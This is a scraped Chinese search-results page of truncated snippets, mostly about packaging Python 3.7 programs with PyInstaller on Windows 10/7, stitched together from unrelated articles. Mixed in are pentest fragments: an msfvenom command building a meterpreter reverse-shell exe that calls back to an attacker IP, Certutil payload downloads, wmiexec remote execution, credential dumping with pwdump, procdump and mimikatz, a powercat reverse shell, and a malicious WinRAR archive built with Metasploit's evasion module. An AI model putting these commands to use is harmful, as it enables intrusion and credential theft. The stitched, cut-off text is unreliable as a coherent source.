图4 验证Python环境变量是否添加成功(正常的界面) 三、使用VS Code编写第一个Python程序 下面的内容将换电脑来写了,截图风格不一致(现在用Windows10系统的电脑,之前是Windows7...1.创建一个文件夹,用于存放项目的源代码,我在e盘下创建了一个VScode/one的目录。 2.在welcome页面点击“Open folder”,选择刚才创建的目录e:/VScode/one。...图5 打开目录e:\VScode\one的显示效果 3.点击下图所指位置“New File”,在输入框中输入文件名“one.py”,双击文件“one.py”可以看到代码书写区域。 ?...方法与添加Python到系统环境变量方法一样,下图展示在Windows10下的添加效果。 ? 图10 pyinstaller添加环境变量 3.打包Python文件成.exe程序。...图11 使用pyinstaller打包python文件 4.结果验证,找到one.exe程序双击打开,可以看到跟之前在VScode中运行的效果完全一样。 ?
1、修改电脑桌面壁纸 工具使用 开发环境:python3.7, Windows10 使用工具包:win32api,win32con, win32gui, os, random win32的工具下载命令:...pip install pywin32 项目解析思路 桌面数据信息是保存在注册表上的内容,数据保存在第二项 的Control PanelDesktop子项里就可以了。...开发环境:python3.7, Windows10 使用工具包:ctypes ctypes ctypes ctypes是 Python 的外部函数库。...它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。...user.LockWorkStation() lock_windows() 代码以提供各位大佬可自行尝试 打包的方法:pyinstaller -F 你的文件名 打包之后可给你朋友同事尝试一下(为了朋友同事间的友谊最好加个延时操作
pyinstaller也是支持python3.7的,所以可以放心使用,但是对于其他的库,可能就会有版本问题,所以很容易出错。...使用pyinstaller的方法也很简单,用cmd窗口也行,这里我用的是在pycharm里,如果用cmd的话需要先cd到项目的目录下面,然后在输入 pyinstaller -F -w 程序名.py。...该文件存储在--specpath=目录中,默认为当前目录。 spec文件告诉PyInstaller如何处理你的脚本。它对脚本名称和您为pyinstaller命令提供的大多数选项进行编码。...如果你想要进行更加的复杂的添加数据文件,使用模块中的数据文件,都需要用spec文件,可以通过阅读他的官方手册 https://pyinstaller.readthedocs.io/en/stable/spec-files.html...关于PY2exe 关于py2exe,在python3.7的环境下可以下载,但是并不能使用,由于我的虚拟机问题很多,所以就没有去验证py2exe的使用方法。
4)在虚拟机中安装win10,并使用原版Python3.7规避了python3+Anaconda生成的exe文件过大的问题。 4)利用多线程,解决了执行exe时卡死的问题。...,__pycache__、build和dist,前两个没用,可以删除,生成的exe存放在dist中。...1)在子线程中无法绘制界面,因此不要在子线程中向文本框内输出信息,可以在自己的类中自定义信号和槽函数,当想在文本框内打印信息时,就发一个信号(就是要打印的信息,str类型)给槽函数处理,可解决错误: “...2)在生成exe时,如果使用Anaconda,则exe会超级大,本项目可达200MB,因此尽量使用原生的Python,最新版为Python3.7,我的处理方法很笨,用虚拟机装了一个win10,只安装了一个原生...4)界面自适应的问题可以直接使用Qt Designer解决,在Designer中设置好布局,则界面自动可实现自适应。
环境准备 windows10 + python3.7 python虚拟环境virtualenv:安装脚本pip install virtualenv。...打包步骤 在要打包的python工程根目录下,创建虚拟运行环境:virtualenv env; cd到env/Script下,执行activate,使虚拟环境生效; 如果想要解除虚拟环境,应用系统环境,...可以在env/Script目录下执行上一步的方向操作deactivate; 然后当前的所有pip install操作都只是在当前工程了,我们就可以安装python文件的依赖库了。...安装完依赖库后,我们就可以打包了,很简单,执行pyinstaller -F demo.py就可以了,其中demo是我们要打包的主程序。 ?...用上面命令打包出来的可执行程序在启动运行时,会出现后台终端窗口,这时我们如果想要去掉这个终端,只需要在打包命令后面加上参数-w就可以了,即pyinstaller -F demo.py -w。
环境准备 windows10 + python3.7 python虚拟环境virtualenv:安装脚本pip install virtualenv。...打包步骤 在要打包的python工程根目录下,创建虚拟运行环境:virtualenv env; cd到env/Script下,执行activate,使虚拟环境生效; 如果想要解除虚拟环境,应用系统环境,...可以在env/Script目录下执行上一步的方向操作deactivate; 然后当前的所有pip install操作都只是在当前工程了,我们就可以安装python文件的依赖库了。...安装完依赖库后,我们就可以打包了,很简单,执行pyinstaller -F demo.py就可以了,其中demo是我们要打包的主程序。...用上面命令打包出来的可执行程序在启动运行时,会出现后台终端窗口,这时我们如果想要去掉这个终端,只需要在打包命令后面加上参数-w就可以了,即pyinstaller -F demo.py -w。
— 1 — openv**使用背景 当公司云上VPC创建的时候 ,运维基于网络安全 审计等问题,会对公司网络进行了内外网络的隔离,(V**网络隔离方式有多种。付费的深信服 海星。...免费的有openv**等等),本文基于在内外网络隔离之后,在vpc内部署部署openv** server 或者 办公网络跟云上打通之后 部署openv** server使用手册,希望能够帮助大家快速的使用上手...网络 — 2.2 — Windows使用 Windows使用OpenV**,同样需要下载客户端,需要根据操作系统选择Windows7或Windows10的客户端。...若出现网络情况不好,请及时联系运维组解决 或者浏览器访问域名:xxx内部域名 2.2.3、配置windows自动配置登陆 说明:在增加了证书+账号密码之后,安全性确实提高了,但是面临的问题也有,每次重启时必须输入账号密码才能连接...打开设备管理器在Windows10桌面,右键点击“此电脑”图标,在弹出菜单中选择“属性”菜单项。 这时就可以打开Windows10的设备管理器窗口了。
先说一下我的配置:08年的acer aspire 5520g,很老的电脑,除了内存加到4g,其他都不变。官方只支持到windows7,并且官方说明该型号不在官方支持windows10之列。...之前windows7上推出windows10升级助手时,我第一时间预约了,助手显示可以升级(无任何升级问题),当时还高兴了半天。。...经测试,只能按如下方式了: 下载windows10镜像,只能全新安装windows 不使用官方提供的win7驱动,下载"驱动精灵"、"驱动人生",安装适用于win10的驱动 下载最新版的microsoft...win10真的在08年本本上焕发了活力,还很好用!...确实比win7流畅多了(cpu频率在任务管理器中可以看到动态调整;win7下svchost.exe占用50% cpu的问题不再存在) 分享使用截图几枚,以示真假: ? ?
Certutil提供了从网络中下载文件的功能,测试人员可以在远程主机上执行Certutil命令,控制其下载预先部署在可控服务器上的恶意文件,如攻击载荷等。...,禁止弹出许可证对话框;-u,指定远程主机的用户名;-p,指定用户的密码 #-S,以SYSTEM权限启动进程,如果未指定该参数,就将以管理员权限启动进程 在内网渗透中,如果已建立IPC$链接,那么可以直接使用...目前有两种常见的利用方法: 一是通过调用WMI的类方法进行远程执行,如Win32 Process类中的Create方法可以在远程主机上创建进程,Win32 Product类中的Install方法可以在远程主机上安装恶意的...将wmiexec.py打包成独立的EXE可执行文件,用法与上面相同 pip install pyinstaller 然后在 wmiexec.py所在的目录执行以下命令 pyinstaller -F wmiexec.py...该模式在Windows8.1和Windows Server 2012R2上默认开启,在其他主机中可以通过执行以下命令手动开启。
很明显是拿pyinstaller进行的打包,而且连默认图标都没有更换。 二。试试身手。 打开软件。出现下面的交互界面。由于对ulang语言一窍不通,只能使用help命令。 ?...一探究竟 无奈,既然猜出是使用pyinstaller打包的exe,那么就使用pyinstxtractor进行解包把。...使用下面命令进行了解包: python pyinstxtractor.py ulang-0.2.2.py 如果你也是在该公众号下载的木兰语言那个软件,直接复制该命令使用就可以了。...关于pyinstextractor.py文件已经分享在微信公众号,回复木兰,不仅可以获取木兰软件,还可以获取该源代码。 解压出来如下图: ?...很遗憾,pyd文件比比皆是,我们也可以很容易看到下图这个! ? 木兰的本质早已被挖出来了,Python3.7!!!。
02 Dec 2016 Windows平台使用PyInstaller将Python脚本打包成可执行文件 平时工作中,有时候需要将自己写的Python脚本在...在PyInstaller目录下会生成相应Python脚本名称的目录,进入该目录下的dist目录,就可以找到打包好的可执行文件。...例如示例中打包生成的可执行文件在目录D:\Program Files\PyInstaller-3.2\get_cpu_info\dist下,进入该目录,直接运行可执行文件,输出如下: D:\Program...: disable 可以看到,不需要使用Python也可以直接运行。...将该可执行文件拷贝到其他Windows7 64位机器也可以直接运行,即使没有安装Python也没问题。 本次荐书:浪潮之巅 ? LEo at 20:00
大家好,又见面了,我是你们的朋友全栈君。 微信公众号:乌鸦安全 扫取二维码获取更多信息! 1....环境 攻击机: kali linux 10.211.55.23 受害机: Windows10 360主动防御 Windows7 火绒主动防御 2....生成exe文件 在kali linux下使用msfvenom生成一个64位的exe文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.211.55.23...lport=4444 -f exe -o 1.exe 将文件分别发送至Windows10上,此时需要将受害者的机器关闭全部杀软 使用掩日3.0进行免杀处理(这里会提示报错,需要安装一个软件,按照提示安装即可...和window7上 3.
对于Windows7上的Python2,需要如下工具: visual studio sip Qt(SDK) 如果电脑上已经装有了PyQt4,建议再装一份Python。与原来的分开。...在E:\ws\doc\PyQtCommercial\PyQt5_commercial-5.9中,把付费后得到的pyqt-commercial.sip复制到sip目录下 使用vs2017的命令行工具!...pyinstaller来打包成exe文件 pyinstaller ui_main.py 得到相应的文件目录 运行exe弹窗报错Qt platform plugin this application failed...安装了GPL的PyQt5,可以找到 D:\python35\Lib\site-packages\PyQt5\Qt\plugins\platforms 处理方法: 不打包成一个单一的exe文件,使用pyinstaller...ui_main.py生成文件目录 在dist中,与exe文件同级的目录PyQt5/qt/plugins中,有platforms目录 把platforms文件夹复制到与exe文件同级的位置即可 参考
4.3 pass64.exe 这个文件是我早些时候渗透的时候获得的,在win7、8等低于Windows10的系统上(这种说法不严谨),使用system权限运行能够直接获取64位系统的账号和密码信息。.../pwdump/pwdump7.zip image.png 4.4.1 server2003 可以在Windows2003上执行,手工将得到的结果保存在1.txt中: PwDump7.exe > 1....它的原理是Procdump导出lsass.exe的转储文件,使用mimikatz读取器中的hash。 如果对方机器是win10以下的,都可以获取明文密码。...4.6.1 server2003 4.6.2 Windows10 无法使用: 4.6.3 Windows7 正常执行: 5....:(这个命令可以使用用户权限来执行) rundll32.exe user32.dll,LockWorkStation 接下来等待用户再次登录一次就可以抓到了: 如果说在修改之后抓取到了密码,想要恢复对方的注册表
导入之后使用 -h 参数查看帮助信息,因为称之为PowerShell版的NetCat,所以说都差不多的,而且两者可以相互连接 -l 监听一个连接...[Switch] -h 打印出帮助 正向连接Shell 因为PowerCat可以和NC连接,可以把Windows下的cmd 传给 kali上 在windows上输入命令: powercat -...使用PowerCat传送文件 传输文件需要的参数: ·-i : 输入,可以写文件名 ·-of :输出文件名,可以在文件名前面添加路径 Windows10上面执行命令: powercat -c 192.168.1.111...主机使用命令: ruby dnscat2.rb ttpowercat.test -e open --no-cache 接着在windows机器上执行命令,这样Linux就会接收到一个shell了 powercat...PowerCat做为跳板使用 还是比较常见的攻击者可以访问WEB但是攻击者不能访问内网的服务器但是WEB服务器可以访问内网。
微步在线在威胁监控过程中,多次发现病毒木马或直接使用Python来编写,或使用Python打包的方式进行投递:如在2020年1月的一起针对阿拉伯地区的APT攻击事件中,攻击者通过投递携带CVE-2017...(2) 使用方法,如下: 使用需要创建一个set.py(名称随意),文件内容: from distutils.core import setup import py2exe setup(windows=...分析方法 (1) 在py2exe打包后的结果文件中,exe和python.dll都是必要组件。有时python.dll可能会被内嵌在exe中。...注意:在py2exe中获取的pyc数据内包含多个模块,一定要将多个模块进行拆分再反编译,否则会出错的。...那么我们先来介绍一下python.dll在python中起到了什么作用。 实质上,在整个Python的目录结构中,python.dll是最核心最基础的组件。
安装成功后在命令提示符中输入 PYTHON,如图显示版本号就是安装成功,不是可执行命令的话,在系统变量path 中加上PYTHON的安装路径 ?...2、 爬虫环境配置 说明:Pip模块会自动安装,可以在命令提示符窗口输入PIP测试是否安装成功。...文件 (一)环境配置 1、 执行pip install pypiwin32 2、 执行 pip install pyinstaller 第二步如果安装不成功可以到http://www.pyinstaller.org...-F:打包为单独的Exe文件 -w:不显示命令窗口 ? ?...不知道为什么WINDOWS10上运行返回值是NONE, # 另一台电脑WIN7却又可以,不知道是不是环境配置问题 # print(var1.get()) start(
正常的情况下,我们基于这些 Web 框架开发好了网站,最终都会使用 Nginx 搭配 uWSGI 或gunicorn 将其部署在 Linux 服务器上,这样,用户就可以通过 绑定的域名或 IP 地址访问...能不能让Python编写的Web项目像 PHP 或GO 语言编写的Web服务一样可以直接启动呢? 在互联网上逛荡了老半天,发现老伙计——PyInstaller可以实现这个功能。...,我们打开命令行界面,使用xxx.exe文件就可以达到像正常使用: python manage.py 一样的效果。...然后,在datas列表中,将Django项目的静态文件目录、媒体文件目录、以及其他使用到的文件目录全都以元组的形式添加进去。这会让PyInstaller直接将这些文件打包到最后生成的文件夹中。 ?...接着,在hidedenimports列表中,将Django项目的应用模块路径也添加进去。可以根据每次生成的报错来一个一个添加,但是那样太浪费时间了,还不如直接都添加进去。
任务计划程序是Microsoft Windows的一个组件,它能够在预定义的时间或指定的时间间隔内安排程序或脚本的启动 下面,使用 windows 10 简单的演示一下整个过程,windows7 和 windows8...1、打开界面: windows7 下 开始→控制面板→系统和安全→管理工具→任务计划 windows10 在左下角搜索栏直接输入 计划任务 ?...2、创建基本任务 在名称栏和描述栏简单填写一下信息即可 ? 3、设置触发器 如下图所示,在图中我们可以看到有 7 个选项,这里选择第一个 每天 作为讲解,其他选项读者可以根据自己的需要进行设置 ?...根据以上几步,想必聪明的读者已经发现了,当两部分的参数连起来就是 C:\python3\python.exe D:\temp\example.py p1 p2 是不是跟在 CMD 中手动输入的运行代码差不多...8、修改 编辑完成之后也是可以修改的,在主界面找到刚刚注册的任务 ? 双击进入,便可以逐项进行重新编辑 ? 本周的编程课堂到此结束,祝大家周末愉快!
本篇文章鄙人会使用图文+视频的教程来给各位不知道利用的小粉们讲一下,视频教程在文末尾处。...Metasploit生成免杀Payload 载荷(针对Windows10的defender) 2.1 使用Metasploit5自带的免杀模块生成Payload msfconsoleuse evasion...2.5 打开exp.py文件把“calc.exe“修改成”WinRarPayload.exe”保存。 ? 2.6 Python运行exp.py文件自动在文件根目录下生成恶意压缩包。 ?...不下载解压来历不明的压缩包(色字头上一把刀,手冲一时爽) 小结 evasion/windows/windowsdefenderexe这个免杀模块基本可以免杀大多杀毒软件(Windows10 Defender...其次你也可以使用Windows平台下的其他远程RAT(Njrat,Ghost等等)来生成恶意的压缩包,Windows平台的内网穿透工具可以使用"网络通",来达到效果。
领取专属 10元无门槛券
手把手带您无忧上云